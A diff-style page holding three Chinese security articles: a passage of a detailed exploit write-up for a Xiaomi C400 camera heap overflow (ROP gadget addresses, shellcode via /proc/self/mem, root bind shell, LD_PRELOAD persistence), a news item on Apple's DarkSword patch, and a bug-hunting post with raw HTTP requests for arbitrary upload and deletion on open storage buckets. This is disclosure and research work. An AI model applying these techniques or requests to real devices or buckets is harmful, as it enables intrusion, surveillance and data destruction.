|
||||
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line
|
||||
// AesCurrentBlock、AesKey 和 AesIv 是全局指针
|
||||
void AesCbcDecrypt(
|
||||
const byte *ciphertext, uint size,
|
||||
byte *plaintext, byte *key, byte *iv
|
||||
) {
|
||||
byte *dst;
|
||||
const byte *src;
|
||||
|
||||
uint remainder_bytes = size & 0xf;
|
||||
// copy16 从第二个参数复制16个字节到第一个参数
|
||||
copy16(plaintext, ciphertext);
|
||||
AesCurrentBlock = plaintext;
|
||||
if (key != 0x0) {
|
||||
AesKey = key;
|
||||
AesKeyExpansion();
|
||||
}
|
||||
if (iv != 0x0) {
|
||||
AesIv = iv;
|
||||
}
|
||||
uint offset = 0;
|
||||
while (true) {
|
||||
src = ciphertext + offset;
|
||||
dst = plaintext + offset;
|
||||
// 如果 remainder_bytes != 0，则不正确，可能没有完整的块剩余
|
||||
if (size <= offset) break;
|
||||
offset = offset + 0x10;
|
||||
copy16(dst, src);
|
||||
AesCurrentBlock = dst;
|
||||
AesBlockDecrypt();
|
||||
XorWithIv(dst);
|
||||
AesIv = src;
|
||||
}
|
||||
if (remainder_bytes != 0) { // 在有效（填充过的）数据包上永远不会发生
|
||||
copy16(dst, src);
|
||||
memset(dst + remainder_bytes, 0, 0x10 - remainder_bytes);
|
||||
AesCurrentBlock = dst;
|
||||
AesBlockDecrypt();
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
部分块的大小保存为remainder_bytes
|
||||
，但size
|
||||
变量并未减去这个量。这导致最后一个（在if条件中的）块会从输入缓冲区之外读取密文，并将解密后的明文写入到位于堆（heap）上的输出缓冲区之外。
|
||||
|
||||
由于程序使用的是miIO
|
||||
协议头部指定的数据包长度，攻击者可以通过发送大于此长度的UDP数据包来控制输入缓冲区之后的字节，从而控制写入明文堆块边界之外的16个字节。
|
||||
## 漏洞利用
|
||||
|
||||
我们可以结合利用漏洞 [#1]()
|
||||
和 [#3]()
|
||||
来实现远程代码执行（RCE, remote code execution）。
|
||||
## 被控制的溢出
|
||||
|
||||
我们可以利用协议的数据包长度字段（length field），而不是使用设备接收到的UDP数据包大小。如果我们发送一个数据包，其实际大小大于长度字段指示的值，那么我们也控制了输入缓冲区之后的字节。
|
||||
|
||||
此外，如果我们确保数据包的长度恰好比16的倍数少1，那么AesCbcDecrypt函数只将溢出块的最后一个字节设置为0，这意味着我们控制了作为AES解密输入的16个字节中的15个。
|
||||
|
||||
由于输出缓冲区在堆上，我们可以利用这个溢出来破坏下一个堆块（chunk）。该二进制文件使用uClibc的malloc标准分配器（malloc-standard allocator），它以下列方式存储堆块：
|
||||
|
||||
|
||||
|
||||
堆溢出原理图1
|
||||
|
||||
由于我们有16字节的溢出，我们可以完全覆盖下一个堆块的元数据。我们不能完全控制解密输入的事实也可以设法绕过：
|
||||
|
||||
由于前一块正在使用（未释放）时prev_size
|
||||
字段被忽略，我们可以任意设置其他3个元数据字段，并为prev_size
|
||||
字段尝试许多可能的值，直到找到一个使得密文末尾自然为零字节的值。prev_size
|
||||
字段有2^32种可能的值，我们应该预计每256个密文中有一个会以空字节结尾，所以这应该不成问题。
|
||||
|
||||
分配器有两种用于存储已释放堆块的“箱（bins）”：使用前向和后向指针的双向链表（unsorted bin, smallbins, largebins），以及仅使用前向指针的单向链表（fastbins）。
|
||||
|
||||
破坏双向链表并在任意地址添加一个堆块肯定会导致程序中止，因为存在以下检查：
|
||||
```
|
||||
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line
|
||||
/* Take a chunk off a bin list */
|
||||
#define unlink(P, BK, FD) { \
|
||||
FD = P->fd; \
|
||||
BK = P->bk; \
|
||||
if (FD->bk != P || BK->fd != P) \
|
||||
abort(); \
|
||||
FD->bk = BK; \
|
||||
BK->fd = FD; \
|
||||
}
|
||||
```
|
||||
|
||||
因此，破坏一个位于fastbin中的堆块更有用，它允许我们覆盖链表中节点的前向指针（forward pointer）。这意味着我们可以向fastbin列表中添加一个“伪造（fake）”堆块：一块分配器认为是空闲、可以分配给分配请求的内存区域，即使它从未是一个被正确分配并释放过的堆块。
|
||||
|
||||
让我们能够溢出的堆块之后紧跟着一个位于fastbin中的堆块可以通过以下方式实现：遵循（但不完成）设备的正常设置流程，它包括使用静态链接的mbedtls库生成椭圆曲线密钥对。这个操作会在fastbins上留下不少堆块。关于如何实现这一点，请看下一节。
|
||||
|
||||
我们可以故意在设置流程的最后一个数据包中插入一个无效签名，让设备保持其初始状态，但在堆上留下许多堆块，为发送触发堆溢出的数据包做好准备。
|
||||
## 找一个可用的伪造堆块
|
||||
|
||||
然而，存在一个复杂情况：在解密我们的数据包后，二进制文件开始解析其中的JSON，这导致一次大的内存分配：
|
||||
```
|
||||
ounter(lineounter(lineounter(lineounter(line
|
||||
int jsmi_parse_start(/* ... */) {
|
||||
jsmntok *tok_array = malloc(0x650);
|
||||
// ...
|
||||
}
|
||||
```
|
||||
|
||||
这样大的分配使得malloc()调用libc内部的__malloc_consolidate()
|
||||
函数，该函数将fastbins中的所有堆块放入unsorted bin，并在可能时与相邻的前/后堆块合并。
|
||||
|
||||
这意味着，我们的伪造堆块为了有用，需要满足三个条件：
|
||||
- 它的大小必须是合理的，意味着它后续可以被分配。如果太小（例如0-8字节），我们将永远无法分配它。如果太大，它很可能被程序的其他部分（包括其他线程）使用，在我们之前将其填充。
|
||||
|
||||
- 伪造堆块的前向指针必须为0，否则分配器会跟随指针查找下一个堆块，这很可能导致崩溃，因为它不符合这些条件。
|
||||
|
||||
- 分配器必须认为该伪造堆块的前一个和后一个堆块当前正在使用中。否则，它会尝试对它们进行unlink()操作，这会导致崩溃或中止，因为前向和后向指针不正确。
|
||||
|
||||
尽管Linux内核启用了地址空间布局随机化（ASLR），但miio_client
|
||||
二进制文件本身并未编译为位置无关代码。因此，如果我们找到一个属于该二进制文件（而不是任何加载的共享库）的合适指针，我们可以确定它在每次执行中都是相同的。
|
||||
|
||||
在内存中搜索满足前述条件的地址字节，我们可以发现以下内容：
|
||||
```
|
||||
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line
|
||||
0x000a347c│+0x0000: 0x00000000 <- 伪造堆块的 prev_size
|
||||
0x000a3480│+0x0004: 0x0000006f <- 伪造堆块的大小 size + prev_inuse 标志已设置
|
||||
0x000a3484│+0x0008: 0x00000000 <- 伪造堆块的前向指针 forward pointer
|
||||
0x000a3488│+0x000c: 0x00000000
|
||||
0x000a348c│+0x0010: 0x00000000
|
||||
0x000a3490│+0x0014: 0x00000000
|
||||
0x000a3494│+0x0018: 0x000156ed -> miio_online_hook_default()
|
||||
0x000a3498│+0x001c: 0x000158cd -> miio_offline_hook_default()
|
||||
0x000a349c│+0x0020: 0x00000000
|
||||
0x000a34a0│+0x0024: 0x00015869 -> miio_info_kvs_hook_default()
|
||||
0x000a34a4│+0x0028: 0x00015485 -> miio_ext_rpc_hook_default()
|
||||
0x000a34a8│+0x002c: 0x00015805 -> miio_restore_hook_default()
|
||||
0x000a34ac│+0x0030: 0x000157a1 -> miio_reboot_hook_default()
|
||||
0x000a34b0│+0x0034: 0x00000000
|
||||
0x000a34b4│+0x0038: 0x00000000
|
||||
0x000a34b8│+0x003c: 0x00000000
|
||||
0x000a34bc│+0x0040: 0x00000000
|
||||
0x000a34c0│+0x0044: 0x000806dc
|
||||
0x000a34c4│+0x0048: 0x00000003
|
||||
0x000a34c8│+0x004c: 0xffffffff
|
||||
0x000a34cc│+0x0050: 0xffffffff
|
||||
0x000a34d0│+0x0054: 0xffffffff
|
||||
0x000a34d4│+0x0058: 0xffffffff
|
||||
0x000a34d8│+0x005c: 0xffffffff
|
||||
0x000a34dc│+0x0060: 0xffffffff
|
||||
0x000a34e0│+0x0064: 0xffffffff
|
||||
0x000a34e4│+0x0068: 0xffffffff
|
||||
0x000a34e8│+0x006c: 0xffffffff
|
||||
0x000a34ec│+0x0070: 0xffffffff
|
||||
0x000a3490│+0x0074: 0xffffffff
|
||||
```
|
||||
- 由于0x6f的最低位已设置，分配器会认为前一个堆块正在使用中。
|
||||
|
||||
- 下一个堆块应从 0x000a347c + 0x6e = 0x000a34ea 开始，其大小字段位于 0x000a34ee。此值为 0xffffffff，因此大小为 0xfffffffe（有符号数-2）。再下一个堆块应从 0x000a34e8 开始，其大小字段位于 0x000a34ec。该值为 0xffffffff，且最低位已设置，因此下一个堆块也正在使用中。
|
||||
|
||||
|
||||
|
||||
堆溢出原理图2
|
||||
## 触发函数指针覆盖
|
||||
|
||||
现在，我们可以发送一个大小合适的数据包，使得解密后的有效载荷最终写入到这个伪造堆块中，覆盖其内容。具体来说，我们想要覆盖两个值（我们可以用原始值覆盖其他值，从而只对程序造成最小干扰）：
|
||||
- 位于0x000a34a0的函数指针，通常指向miio_info_kvs_hook_default()
|
||||
函数。
|
||||
|
||||
- 位于0x000a34bc的值。
|
||||
|
||||
之后，如果我们发送一个包含以下有效载荷的数据包：
|
||||
```
|
||||
ounter(line
|
||||
{"id":1,"method":"miIO.info"}
|
||||
```
|
||||
|
||||
我们可以观察到我们覆盖的函数指针在0x000a34a0处被调用，而我们设置在0x000a34bc的值成为寄存器r3
|
||||
的值。
|
||||
## 扩展“怪异机器”
|
||||
|
||||
为了利用我们的函数指针覆盖实现任意代码执行，我们需要找到这种形式的代码片段（gadget）：
|
||||
```
|
||||
ounter(line
|
||||
ldr rA, [r3, #??]; ldr rB, [r3, #??]; bx rB
|
||||
```
|
||||
|
||||
也就是说，我们想从我们控制的r3
|
||||
加载一个寄存器的值，并且想从r3
|
||||
加载另一个我们希望跳转到的值。链接这样的代码片段允许我们在保持控制流的同时设置多个寄存器。
|
||||
|
||||
一些有用的此类代码片段是：
|
||||
```
|
||||
ounter(lineounter(line
|
||||
0x00041be0 : ldr r0, [r3, #4] ; ldr r2, [r3] ; blx r2
|
||||
0x000364a2 : ldr r2, [r3, #0x2c] ; ldr r1, [r3, #0x30] ; blx r2
|
||||
```
|
||||
|
||||
利用这些，我们可以控制寄存器r0
|
||||
和r1
|
||||
。我们只需要将r3
|
||||
设置为我们控制的数据地址。幸运的是，我们可以通过使用空字节在我们的触发数据包后附加一些额外数据：
|
||||
```
|
||||
ounter(line
|
||||
{"id":1,"method":"miIO.info"}\x00 这里可以放任何东西
|
||||
```
|
||||
|
||||
uClibc中的malloc
|
||||
实现使用brk()
|
||||
，将堆放在二进制文件之后的内存中。这意味着堆从一个已知地址开始，因为我们的二进制文件被加载到一个固定地址。
|
||||
|
||||
此外，如果数据包足够大（大于1KB），分配器会可预测地将其放在堆的末尾，因为它无法放入其他堆块之间的空洞中。由于程序在启动时总是执行相同的分配，并且假设当前没有其他大的分配正在使用，我们知道数据包最终会存放的地址。
|
||||
|
||||
这是一个非常合理的假设，因为该程序是单线程的，并且在正常操作期间不会发生内存泄漏，这意味着即使它之前接收过一个大数据包，该数据包在处理我们的数据包时也已被释放，最终仍会将我们的数据包放在堆的末尾。
|
||||
|
||||
由于我们可以可靠地预测数据包将被写入的位置，我们可以将r3
|
||||
设置为指向它。
|
||||
|
||||
更好的是，万一我们的假设在某种程度上不成立，利用（使用了错误地址）将导致进程崩溃，促使mi_daemon
|
||||
进程立即重启它。这给我们留下了一个全新的堆，只有确定性的启动分配发生，使我们能够第二次成功运行我们的利用程序。
|
||||
|
||||
现在，控制了r0
|
||||
和r1
|
||||
之后，我们可以跳转到以下代码片段：
|
||||
```
|
||||
ounter(lineounter(line
|
||||
0x00071dd8 : mov r7, r0 ; add r0, sp, #0x14 ; str r0, [sp] ; ldr r4, [r1, #8] ; ldr r0, [r1] ; ldr r5, [sp, #0x50] ; blx r4
|
||||
0x0004f87c : mov sp, r7 ; pop.w {r4, r5, r6, r7, r8, sb, sl, fp, pc}
|
||||
```
|
||||
|
||||
第一个允许我们将r0
|
||||
中的值移动到r7
|
||||
，并通过从r1
|
||||
加载来保持控制。（它还执行了一些对我们无用的操作，但也不会导致崩溃。）
|
||||
|
||||
第二个将r7
|
||||
中的值移动到栈指针，允许我们将栈定位到我们想要的任何地方。自然地，我们将再次选择数据包的额外数据部分，允许我们控制新栈的全部内容，使我们过渡到ROP攻击。
|
||||
|
||||
在ARM架构上，函数的返回地址存储在lr
|
||||
寄存器中，而不是栈中，因此我们需要覆盖它以在调用后保持控制。这里有两个有用的代码片段：
|
||||
```
|
||||
ounter(lineounter(line
|
||||
0x0004bb18 : pop {r0, r1, r2, r3, r5, pc};
|
||||
0x00071052 : pop.w {r4, lr} ; bx r3
|
||||
```
|
||||
|
||||
使用这些，我们可以控制r0
|
||||
、r1
|
||||
、r2
|
||||
和lr
|
||||
，这意味着我们可以调用任何最多三个参数的函数。
|
||||
## 植入Shellcode
|
||||
|
||||
接下来，我们可以尝试调用二进制文件中的函数。虽然由于地址空间布局随机化我们不知道libc.so
|
||||
的地址，但我们可以利用二进制文件的程序链接表（PLT）来调用链接到它的标准库函数。
|
||||
|
||||
这样一个函数是system()
|
||||
，我们可以用它来在设备上执行任意命令。然而，这种方式无法方便地启动反向Shell或绑定Shell，迫使我们为想要运行的每个命令重新执行利用程序。我们也无法轻松获取命令的输出。
|
||||
|
||||
或者，我们可以使用以下调用链：
|
||||
```
|
||||
ounter(lineounter(lineounter(line
|
||||
fd = open("/proc/self/mem", O_RDWR);
|
||||
lseek(fd, 0x13000, SEEK_SET);
|
||||
write(fd, shellcode_ptr, shellcode_length);
|
||||
```
|
||||
|
||||
其中0x13000
|
||||
可以是任何可执行的任意地址。我们无需寻找代码片段来保存open()
|
||||
返回的文件描述符，而是可以多次调用open()
|
||||
，以便容易猜出对应/proc/self/mem
|
||||
的文件描述符编号。注意write()
|
||||
调用之所以有效，是因为在Linux内核的默认配置下，/proc/self/mem
|
||||
会忽略写入保护，允许我们更改可执行段。
|
||||
|
||||
将绑定Shell的Shellcode写入0x13000后，我们的最后一步是跳转到它，完成漏洞利用。由于miio_client
|
||||
进程以root权限运行且没有任何沙箱限制，我们完全掌握了整个系统。
|
||||
## 组合利用漏洞
|
||||
|
||||
由于处于出厂状态的摄像头的接入点（Access Point）没有保护，当用户试图设置摄像头时，摄像头Wi-Fi范围内的攻击者可以利用漏洞 [#1]()
|
||||
（或 [#2]()
|
||||
）远程完成设置，速度快于用户，且无需物理接触或看到设备。
|
||||
|
||||
这可能导致攻击者能够查看摄像头画面。然而，这种攻击很可能被用户注意到，因为他们将无法设置一个已被使用的摄像头。
|
||||
|
||||
另一方面，利用漏洞 [#3]()
|
||||
，攻击者还可以完全控制设备并安装持久后门。这些可以在不被用户察觉的情况下完成。
|
||||
|
||||
对已安装设备的攻击也是可能的，前提是攻击者能够短暂物理接触设备。按住按钮10秒钟将摄像头恢复出厂设置，然后利用漏洞 [#1和漏洞]()
|
||||
[#3]()
|
||||
，攻击者可以用同样的方式安装后门。注意，由于漏洞 [#1]()
|
||||
，攻击者不需要摄像头底部的二维码，因此攻击者甚至不需要移动摄像头。遮挡或移除二维码是不足够的防御措施。
|
||||
|
||||
|
||||
|
||||
小米漏洞利用演示
|
||||
## 漏洞利用后阶段：云端越狱
|
||||
|
||||
“云端越狱”的目标是修改摄像头的运行时环境，以使其根本不需要配置任何云端连接。
|
||||
|
||||
我们基本上需要两件事：替换原本通过云端完成的功能 + 确保云端不会干扰设备。
|
||||
## 实现
|
||||
|
||||
这通过4个步骤实现：
|
||||
- 获得设备上的root访问权限。
|
||||
|
||||
- 获得持久性（跨越重启）。
|
||||
|
||||
- miIO
|
||||
替换：实现与设备通信的新方式。
|
||||
|
||||
- 通过防火墙阻断云端干扰。
|
||||
|
||||
上面描述的漏洞利用提供了步骤1。
|
||||
|
||||
对于步骤2，需要找到一个操作系统脚本或二进制文件，该文件会被执行并且可以在不刷写整个设备的情况下被更改。脚本/mnt/data/sysctl
|
||||
就是这样一个文件。
|
||||
|
||||
为了运行自定义代码，通过LD_PRELOAD
|
||||
预加载我们的库有效（即使在noexec
|
||||
分区上），它可以劫持供应商提供的二进制文件。为此，我们针对imi_mike
|
||||
二进制文件，它会启动我们的植入程序（implant）。
|
||||
|
||||
对于步骤3，越狱植入程序本身（一个约600行的“可执行”代码）会调用小米也用来移动摄像头和访问摄像头视频流的库函数。这段代码实现了通过TLS将视频流发送到服务器（使用MPEG TS
|
||||
格式），以及将内容保存到SD卡并进行非对称加密的能力。它还接受命令来移动马达。
|
||||
|
||||
在服务器端，可以运行一个简单的基于ffplay
|
||||
命令行的解决方案，甚至可以使用一个更用户友好的设置，该系统使用一个名为frigate NVR的用于IP摄像头的Web图形用户界面。
|
||||
|
||||
最后，对于步骤4，因为我们打算实现一组最小的更改，我们不直接进一步修补摄像头软件堆栈来防止访问云端。相反，既然此时云端对于功能来说不再是必要的，首选设置可以简单地依赖自定义的防火墙规则，以确保设备不允许任何意外的互联网访问。
|
||||
## 安装与使用
|
||||
|
||||
我们在GitHub发布的仓库中详细阐述了重现这一切所需的所有步骤，可访问
|
||||
此链接
|
||||
。
|
||||
|
||||
相关链接
|
||||
|
||||
https://github.com/TaszkSecLabs/xiaomi-c400-pwn/tree/main/xiaomi-c400-jailbreak/README.md
|
||||
|
||||
https://labs.taszk.io/blog/post/112_mi_hshake_bypass/
|
||||
|
||||
https://labs.taszk.io/blog/post/113_mi_rng_predict
|
||||
|
||||
https://labs.taszk.io/blog/post/114_mi_heap_bof/
|
||||
|
||||
https://github.com/TaszkSecLabs/xiaomi-c400-pwn/tree/main/xiaomi-c400-exploit
|
||||
|
||||
https://github.com/TaszkSecLabs/xiaomi-c400-pwn/tree/main/xiaomi-c400-jailbreak
|
||||
|
||||
原文：
|
||||
https://labs.taszk.io/articles/post/nowyouseemi/
|
||||
|
||||
|
||||
感谢阅读，如果觉得还不错的话，动动手指给个三连吧～
|
||||
|
||||
@@ -0,0 +1,42 @@
|
||||
# 苹果扩展iOS 18.7.7更新到更多设备以阻止暗剑漏洞
|
||||
HackSee安全团队
|
||||
HackSee安全团队 HackSee安全生活 2026-04-03 08:13
|
||||
|
||||
|
||||
|
||||
周三，苹果公司（apple）将iOS 18.7.7和iPadOS 18.7.7的可用性扩大到更多设备，以保护用户免受最近披露的一个名为“暗剑”（DarkSword）的漏洞利用工具包带来的风险。
|
||||
|
||||
该公司表示：“我们在2026年4月1日为更多设备启用了iOS 18.7.7，因此打开了自动更新的用户可以自动收到重要的安全保护，免受名为DarkSword的网络攻击。”与暗剑漏洞相关的修复程序于2025年首次发布。
|
||||
|
||||
The update is available for the following devices -
|
||||
|
||||
iPhone XR、iPhone XS、iPhone XS Max、iPhone 11（所有型号）、iPhone SE（第二代）、iPhone 12（所有型号）、iPhone 13（所有型号）、iPhone SE（第三代）、iPhone 14（所有型号）、iPhone 15（所有型号）、iPhone 16（所有型号）和iPhone 16e
|
||||
|
||||
iPad mini（第5代—A17 Pro）、iPad（第7代—A16）、iPad Air（第3代—第5代）、iPad Air 11英寸（M2—M3）、iPad Air 13英寸（M2—M3）、iPad Pro 11英寸（第1代—M4）、iPad Pro 12.9英寸（第3代—第6代）、iPad Pro 13英寸（M4）
|
||||
|
||||
最新的更新旨在覆盖那些能够升级到iOS 26但仍在使用旧版本的设备。苹果于2026年3月24日首次发布了iOS 18.7.7和iPadOS 18.7.7，但仅适用于iPhone XS、iPhone XS Max、iPhone XR和iPad第七代。
|
||||
|
||||
上个月，该公司还敦促用户将旧设备更新到iOS 15.8.7、iPadOS 15.8.7、iOS 16.7.15和iPadOS 16.7.15，以解决DarkSword和另一个名为Coruna的漏洞工具包中使用的一些漏洞。
|
||||
|
||||
众所周知，苹果会根据漏洞的严重程度为旧设备提供修复程序，但允许iOS 18用户在不升级到最新操作系统版本的情况下给设备打补丁，标志着这家科技巨头不同寻常的举动。
|
||||
|
||||
在与《连线》杂志分享的一份声明中，苹果公司的一位发言人表示，该公司正在将更新扩展到更多的设备，以帮助它们保持保护。没有启用自动更新功能的用户可以选择更新到最新的、打过补丁的iOS 18或iOS 26。
|
||||
|
||||
就在几周前，谷歌威胁情报集团（GTIG）、iVerify和Lookout分享了一款名为DarkSword的iOS漏洞利用工具包的细节，该工具包自2025年7月起被用于针对沙特阿拉伯、土耳其、马来西亚和乌克兰用户的网络攻击。该工具包能够针对运行iOS 18.4 ；和 ；18.7之间版本的iOS和ipad设备。
|
||||
|
||||
当用户运行易受攻击的设备访问一个合法但被攻破的网站时，就会触发攻击，该网站托管恶意代码，这是所谓的水坑攻击的一部分。一旦发起，这些攻击就会部署后门和数据挖掘器，用于持续访问和信息盗窃。
|
||||
|
||||
目前还不清楚这种先进的黑客工具是如何被多个威胁参与者共享的。该工具包的新版本已经在代码共享网站GitHub上泄露，这加剧了人们的担忧，即更多的威胁行为者可能会加入利用该工具包的行列。
|
||||
|
||||
这一发现还突显出，针对iphone的强大间谍软件可能并不像之前想象的那么罕见，它们可能成为大规模利用的诱人工具。
|
||||
|
||||
就在上周，苹果开始向运行较旧版本iOS和ipad的iphone和ipad发出锁屏通知，提醒用户注意网络攻击，并敦促他们安装最新的更新。
|
||||
|
||||
Proofpoint和Malfors还透露，另一个与俄罗斯有关的威胁行为者COLDRIVER（又名TA446）利用暗剑工具包发布了GHOSTBLADE数据窃取恶意软件，攻击目标是政府、智库、高等教育、金融和法律实体。
|
||||
|
||||
iVerify的联合创始人兼首席运营官洛奇•科尔在与the Hacker News分享的一份声明中表示：“DarkSword悄无声息地窃取了大量用户数据，仅仅是因为用户访问了一个真实的（但被入侵的）网站。”“苹果至少同意安全社区的评估，即这对未打补丁的iOS早期版本的设备构成了明显而现实的威胁，大约20%的人仍在使用早期版本的iOS。”
|
||||
|
||||
让这些用户暴露在外将是一个难以辩护的决定，尤其是对于一家以安全和隐私为品牌中心的公司来说。将补丁向后移植到较旧的iOS版本似乎是他们为外部开发者提供安全框架所能做的最起码的事情。事实是，当涉及到0day的时候，打补丁太少也太晚了，而漏洞开发市场正在蓬勃发展。
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,78 @@
|
||||
# 资产测绘在漏洞挖掘中的应用
|
||||
原创 安全艺术
|
||||
安全艺术 安全艺术 2026-04-03 05:43
|
||||
|
||||
最近碰到比较多的就是存储桶遍历这个洞了，CNVD也提了几个，就顺着这个漏洞再提一嘴资产测绘在漏洞挖掘中的应用。很多师傅喜欢直接命令行或者图形化工具配置quake和hunter等key去收集资产，殊不知用好了官网也会有轻松捡洞的高光时刻，比如我比较喜欢用的Quake，查询某个子域名相关资产。
|
||||
|
||||
|
||||
|
||||
直接访问发现返回UnauthorizedAccess，借助第三方平台查询的到这里可能就结束了，或者有的师傅会去跑bucket目录，最终无果也就放弃了。
|
||||
|
||||
|
||||
|
||||
但是官网却有个曾经抓取的响应截图，只需要点开看一眼，见下图：
|
||||
|
||||
|
||||
|
||||
截图中的这个Name拼接一下呢，瞬间柳暗花明，仔细看看这个目录，是能跑出来的吗
|
||||
😜
|
||||
|
||||
|
||||
|
||||
最后就交给dddd吧。
|
||||
|
||||
|
||||
|
||||
此处有个小技巧，就是直接dddd挂代理到burp，然后写报告时，burp直接复制数据包和截图节省时间。
|
||||
|
||||
比如任意文件上传(dddd直接内置了poc)
|
||||
```
|
||||
PUT /xxx-xxx-slw01-log/xxxxxb1yeJGKu4.html HTTP/1.1
|
||||
Host:
|
||||
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36
|
||||
Connection: keep-alive
|
||||
Content-Length: 53
|
||||
Content-Disposition: inline
|
||||
Content-Type: text/html; charset=utf-8
|
||||
Accept-Encoding: gzip, deflate, br
|
||||
|
||||
<!DOCTYPE html><html><script>alert(1)</script></html>
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
任意文件删除
|
||||
(dddd直接内置了poc)。
|
||||
```
|
||||
DELETE /xxx-hq01-slw01-log/xxx6byP2bb1yeJGKu4.html HTTP/1.1
|
||||
Host:
|
||||
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36
|
||||
Connection: keep-alive
|
||||
Content-Disposition: inline
|
||||
Accept-Encoding: gzip, deflate, br
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 0
|
||||
|
||||
|
||||
```
|
||||
|
||||
|
||||
|
||||
再次访问。
|
||||
|
||||
|
||||
|
||||
说明成功删除。
|
||||
|
||||
最后也是轻松获得CNVD，今年CNVD审核速度
|
||||
貌似
|
||||
更给力了。
|
||||
|
||||
|
||||
|
||||
最后需要工具或者想了解更多挖洞技巧欢的师傅们欢迎加入我的小圈子。
|
||||
|
||||
|
||||
|
||||
Reference in new issue
Block a user